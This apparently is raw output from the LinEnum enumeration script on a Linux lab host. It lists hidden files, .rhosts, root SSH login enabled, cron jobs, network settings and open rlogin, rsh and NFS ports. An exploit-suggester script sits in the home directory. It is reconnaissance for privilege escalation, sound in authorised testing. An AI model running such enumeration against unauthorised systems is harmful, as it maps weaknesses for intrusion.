-rw------- 1 root root 0 Sep 2 2012 /etc/.pwd.lock
-rw-r--r-- 1 root root 0 Sep 2 2012 /etc/init.d/.legacy-bootordering
-rw-r--r-- 1 root root 102 Jun 19 2012 /etc/cron.d/.placeholder
-rw-r--r-- 1 root root 220 Apr 3 2012 /etc/skel/.bash_logout
-rw-r--r-- 1 root root 675 Apr 3 2012 /etc/skel/.profile
-rw-r--r-- 1 root root 3486 Apr 3 2012 /etc/skel/.bashrc
-rw-r--r-- 1 root root 102 Jun 19 2012 /etc/cron.daily/.placeholder
-rw-r--r-- 1 root root 102 Jun 19 2012 /etc/cron.weekly/.placeholder
-rw-r--r-- 1 root root 102 Jun 19 2012 /etc/cron.hourly/.placeholder
-rw------- 1 root root 1024 Sep 2 2012 /.rnd
-rw------- 1 root root 0 Sep 2 2012 /var/lib/nfs/.xtab.lock
-rw------- 1 root root 0 Mar 2 21:42 /var/lib/nfs/.rmtab.lock
-rw------- 1 root root 0 Sep 2 2012 /var/lib/nfs/.etab.lock
-rw-r--r-- 1 user user 220 Sep 2 2012 /home/user/.bash_logout
-rw-r--r-- 1 user user 675 Sep 2 2012 /home/user/.profile
-rw------- 1 user user 28 Mar 2 23:43 /home/user/.bash_history
-rw-r--r-- 1 user user 3486 Sep 2 2012 /home/user/.bashrc
-rw------- 1 user user 7 Sep 2 2012 /home/user/.rhosts
[-] World-readable files within /home:
-rw-r--r-- 1 user user 0 Sep 2 2012 /home/user/.cache/motd.legal-displayed
-rw-r--r-- 1 user user 220 Sep 2 2012 /home/user/.bash_logout
-rw-r--r-- 1 user user 675 Sep 2 2012 /home/user/.profile
-rwxrwxr-x 1 user user 65666 Jul 15 2018 /home/user/Linux-exploit-suggester.sh
-rw-r--r-- 1 user user 3486 Sep 2 2012 /home/user/.bashrc
-rwxrwxr-x 1 user user 44413 Jul 15 2018 /home/user/LinEnum.sh
[-] Home directory contents:
total 144K
drwxr-x--- 3 user user 4.0K Mar 3 00:12 .
drwxr-xr-x 4 root root 4.0K Sep 2 2012 ..
-rw------- 1 user user 28 Mar 2 23:43 .bash_history
-rw-r--r-- 1 user user 220 Sep 2 2012 .bash_logout
-rw-r--r-- 1 user user 3.5K Sep 2 2012 .bashrc
drwx------ 2 user user 4.0K Sep 2 2012 .cache
-rwxrwxr-x 1 user user 44K Jul 15 2018 LinEnum.sh
-rwxrwxr-x 1 user user 65K Jul 15 2018 Linux-exploit-suggester.sh
-rw-r--r-- 1 user user 675 Sep 2 2012 .profile
-rw------- 1 user user 7 Sep 2 2012 .rhosts
[-] Root is allowed to login via SSH:
PermitRootLogin yes
### ENVIRONMENTAL #######################################
[-] Environment information:
SHELL=/bin/bash
TERM=xterm-256color
SSH_CLIENT=192.168.1.8 60816 22
SSH_TTY=/dev/pts/0
USER=user
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
MAIL=/var/mail/user
PWD=/home/user
LANG=en_GB.UTF-8
HOME=/home/user
SHLVL=2
LANGUAGE=en_GB:en
LOGNAME=user
SSH_CONNECTION=192.168.1.8 60816 192.168.1.37 22
LESSOPEN=| /usr/bin/lesspipe %s
LESSCLOSE=/usr/bin/lesspipe %s %s
_=/usr/bin/env
[-] Path information:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
[-] Available shells:
# /etc/shells: valid login shells
/bin/sh
/bin/dash
/bin/bash
/bin/rbash
/usr/bin/tmux
/usr/bin/screen
[-] Current umask value:
0002
u=rwx,g=rwx,o=rx
[-] umask value as specified in /etc/login.defs:
UMASK 022
[-] Password and storage information:
PASS_MAX_DAYS 99999
PASS_MIN_DAYS 0
PASS_WARN_AGE 7
ENCRYPT_METHOD SHA512
### JOBS/TASKS ##########################################
[-] Cron jobs:
-rw-r--r-- 1 root root 722 Jun 19 2012 /etc/crontab
/etc/cron.d:
total 12
drwxr-xr-x 2 root root 4096 Sep 2 2012 .
drwxr-xr-x 91 root root 4096 Mar 2 21:00 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
/etc/cron.daily:
total 72
drwxr-xr-x 2 root root 4096 Sep 2 2012 .
drwxr-xr-x 91 root root 4096 Mar 2 21:00 ..
-rwxr-xr-x 1 root root 219 Apr 10 2012 apport
-rwxr-xr-x 1 root root 15399 Jun 15 2012 apt
-rwxr-xr-x 1 root root 314 Mar 30 2012 aptitude
-rwxr-xr-x 1 root root 502 Mar 31 2012 bsdmainutils
-rwxr-xr-x 1 root root 256 Apr 13 2012 dpkg
-rwxr-xr-x 1 root root 372 Oct 4 2011 logrotate
-rwxr-xr-x 1 root root 1365 Mar 31 2012 man-db
-rwxr-xr-x 1 root root 606 Aug 17 2011 mlocate
-rwxr-xr-x 1 root root 249 Apr 9 2012 passwd
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
-rwxr-xr-x 1 root root 2417 Jul 1 2011 popularity-contest
-rwxr-xr-x 1 root root 2947 Jun 19 2012 standard
-rwxr-xr-x 1 root root 214 Aug 9 2012 update-notifier-common
/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 Sep 2 2012 .
drwxr-xr-x 91 root root 4096 Mar 2 21:00 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 Sep 2 2012 .
drwxr-xr-x 91 root root 4096 Mar 2 21:00 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
/etc/cron.weekly:
total 20
drwxr-xr-x 2 root root 4096 Sep 2 2012 .
drwxr-xr-x 91 root root 4096 Mar 2 21:00 ..
-rwxr-xr-x 1 root root 730 Dec 31 2011 apt-xapian-index
-rwxr-xr-x 1 root root 907 Mar 31 2012 man-db
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
[-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
### NETWORKING ##########################################
[-] Network and IP info:
eth0 Link encap:Ethernet HWaddr 08:00:27:8b:ea:be
inet addr:192.168.1.37 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: 2a01:e35:2fef:d7e0:a00:27ff:fe8b:eabe/64 Scope:Global
inet6 addr: fe80::a00:27ff:fe8b:eabe/64 Scope:Link
inet6 addr: 2a01:e35:2fef:d7e0:84c0:3dd5:4c25:f851/64 Scope:Global
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2392647 errors:0 dropped:0 overruns:0 frame:0
TX packets:2339830 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:196036356 (196.0 MB) TX bytes:188662828 (188.6 MB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:8 errors:0 dropped:0 overruns:0 frame:0
TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:532 (532.0 B) TX bytes:532 (532.0 B)
[-] ARP history:
? (192.168.1.8) at 08:00:27:ca:e8:b7 [ether] on eth0
? (192.168.1.254) at 68:a3:78:8b:0c:dd [ether] on eth0
[-] Nameserver(s):
nameserver 192.168.1.254
[-] Default route:
default 192.168.1.254 0.0.0.0 UG 100 0 0 eth0
[-] Listening TCP:
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:56364 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:110 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:143 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:50352 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:37168 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:59900 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:512 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:993 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:513 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:995 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:42151 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.37:22 192.168.1.8:38222 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38076 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38200 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38188 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38172 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38018 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38212 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38310 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38332 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38280 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38370 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38106 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38066 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38020 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38234 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38080 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38112 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38024 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38068 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38418 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38336 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38338 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38184 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38014 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38278 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38328 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38056 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38086 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38034 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38284 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38098 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38144 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:37960 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38242 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38208 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38182 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38256 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38250 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38156 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38382 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38390 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38010 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38348 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38342 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38046 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38254 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38354 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38412 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38150 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38132 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38334 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38082 TIME_WAIT -
tcp 0 0 192.168.1.37:22 192.168.1.8:38282 TIME_WAIT -